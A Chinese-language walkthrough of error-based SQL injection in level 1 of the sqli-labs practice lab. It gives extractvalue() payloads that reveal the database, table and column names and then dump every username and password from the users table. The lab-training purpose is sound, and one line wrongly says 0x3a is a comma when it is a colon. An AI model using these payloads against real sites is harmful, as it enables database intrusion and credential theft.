天天看點

sqli-labs第一關--報錯注入練習

# extractvalue 報錯注入查詢語句:

SQL注入模闆:?id=正确值'and(select extractvalue(anything,concat('0x7e',(select語句))))--+

查資料庫名:?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

爆表名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

爆字段名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) --+

爆資料:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

# 注:

與第一種方法不同的是:報錯注入使用的 id = 正确值

函數解釋:

  extractvalue():從目标XML中傳回包含所查詢值的字元串。

  EXTRACTVALUE (XML_document, XPath_string);

  第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc

  第二個參數:XPath_string (Xpath格式的字元串)

  concat:傳回結果為連接配接參數産生的字元串。

0x7e = ~ :加個波浪線,看着更加舒服。

# 檢查一下報錯注入點:

?id=1' and 1=1--+ //正确

?id=1' and 1=2--+ //失敗

sqli-labs第一關--報錯注入練習
sqli-labs第一關--報錯注入練習
sqli-labs第一關--報錯注入練習

# 構造 payload 來擷取資料庫資訊:

?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

sqli-labs第一關--報錯注入練習

# 構造 payload 來擷取資料表

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

?id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+   通過目前指定的庫檢視表名

sqli-labs第一關--報錯注入練習
sqli-labs第一關--報錯注入練習

# 構造 payload 來擷取資料庫字段名:

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))) --+

# 回顯了,但是并沒有完全回顯使用 not in:重新構造 payload

and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') )))) --+

sqli-labs第一關--報錯注入練習
sqli-labs第一關--報錯注入練習

# 構造 payload 來擷取資料庫中的資料資訊:

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+

# 回顯了,但是沒有完全回顯,使用 not in 重構 payload :

where username not in ('Dumb','I-kill-you')

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+

# 注:

0x3a = ,

sqli-labs第一關--報錯注入練習